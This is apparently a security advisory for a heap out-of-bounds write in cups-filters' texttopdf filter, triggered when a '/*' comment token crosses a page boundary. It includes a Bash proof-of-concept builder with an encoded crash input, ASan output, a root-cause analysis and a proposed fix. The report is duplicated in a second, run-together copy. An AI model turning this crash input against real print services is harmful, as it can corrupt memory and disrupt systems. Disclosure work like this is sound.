Summary
cfFilterTextToPDF() writes two bytes before its heap-allocated page buffer
when C/C++ pretty printing recognizes /* at the exact automatic page
boundary. The syntax state is updated before wrapping, but the first comment
character is highlighted after wrapping with column - 1, when column has
already been reset to zero.
The failure is reachable through the normal standalone texttopdf filter
without a fuzzing harness, a PPD, or malformed text.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686
- libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
The 6,469-byte PoC is:
Its SHA-256 is
1f34d3d7cc9a19bd4b543ab3e64102ab9a738bc91737ee818d2cff6138b906ed.
With the fallback Letter page, cpi=12, lpi=8, and pretty-print header,
the page contains 84 columns by 77 lines. The / occupies the final cell and
the * crosses onto a freshly cleared page.
Run:
This invokes the standard seven-argument CUPS filter interface through
ppdFilterCUPSWrapper() and then cfFilterTextToPDF().
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: texttopdf: comment token across a page boundary writes before the page buffer
# Finding ID: texttopdf-comment-page-boundary-oob
# Trigger: cfFilterTextToPDF() writes two bytes before its heap-allocated page
# buffer when C/C++ pretty printing recognizes /* at the exact automatic page
# boundary. The syntax state is updated before wrapping, but the first comment
# character is highlighted after wrapping with column - 1, when column has
# already been reset to zero.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (6469 bytes)
write_file document.txt 1f34d3d7cc9a19bd4b543ab3e64102ab9a738bc91737ee818d2cff6138b906ed <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3BMQEAAAwCoD4+ZrB/qf3LAGwAAAAAAAA8zQExUFYzRRkAAA==
POC_PAYLOAD_0
Result
ASan reports:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 2
cfFilterTextToPDF .../cupsfilters/texttopdf.c:1433:40
0x52b0000001fe is located 2 bytes before 25872-byte region
The complete report is in asan.txt. The unsanitized build exits with status
134 after glibc reports double free or corruption (out); see baseline.txt
and baseline-stderr.txt.
The two UBSan diagnostics in sfnt-private.h occur earlier during font
embedding and are independent of this page-buffer write.
Cause and expected behavior
At texttopdf.c:1325-1334, the * and preceding / enter comment state.
At lines 1366-1380, wrapping resets column, line, and the page when the
current column is full. At lines 1425-1433, the comment highlighter then writes
doc.Page[line][column - 1].attr, which addresses the element before the new
page buffer.
The highlighter must retain the pre-wrap location of /, highlight it before
the cursor transition, or guard the previous-cell access across line and page
boundaries. A valid syntax token crossing a layout boundary must not access
outside doc.Page.
Summary
cfFilterTextToPDF()writes two bytes before its heap-allocated page bufferwhen C/C++ pretty printing recognizes
/*at the exact automatic pageboundary. The syntax state is updated before wrapping, but the first comment
character is highlighted after wrapping with
column - 1, whencolumnhasalready been reset to zero.
The failure is reachable through the normal standalone
texttopdffilterwithout a fuzzing harness, a PPD, or malformed text.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters
11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppdfc41539f761286396a7df8aeeda762070192e37e.Validated revisions:
11d1a190530f85a361a1b3835f57d635256dff1a905fd94fb22a9298bc8e2c845eb7e04f7055b686522af8dd135f4dde66b1aac8b9d067808bbe122dThe 6,469-byte PoC is:
Its SHA-256 is
1f34d3d7cc9a19bd4b543ab3e64102ab9a738bc91737ee818d2cff6138b906ed.With the fallback Letter page,
cpi=12,lpi=8, and pretty-print header,the page contains 84 columns by 77 lines. The
/occupies the final cell andthe
*crosses onto a freshly cleared page.Run:
This invokes the standard seven-argument CUPS filter interface through
ppdFilterCUPSWrapper()and thencfFilterTextToPDF().The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
ASan reports:
The complete report is in
asan.txt. The unsanitized build exits with status134 after glibc reports
double free or corruption (out); seebaseline.txtand
baseline-stderr.txt.The two UBSan diagnostics in
sfnt-private.hoccur earlier during fontembedding and are independent of this page-buffer write.
Cause and expected behavior
At
texttopdf.c:1325-1334, the*and preceding/enter comment state.At lines 1366-1380, wrapping resets
column,line, and the page when thecurrent column is full. At lines 1425-1433, the comment highlighter then writes
doc.Page[line][column - 1].attr, which addresses the element before the newpage buffer.
The highlighter must retain the pre-wrap location of
/, highlight it beforethe cursor transition, or guard the previous-cell access across line and page
boundaries. A valid syntax token crossing a layout boundary must not access
outside
doc.Page.